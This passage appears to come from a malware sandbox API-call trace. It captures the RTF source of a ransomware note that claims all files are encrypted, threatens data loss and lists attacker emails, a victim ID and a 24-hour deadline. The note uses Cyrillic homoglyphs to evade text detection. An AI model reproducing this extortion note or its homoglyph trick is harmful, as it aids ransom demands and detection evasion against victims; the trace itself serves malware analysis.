ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n 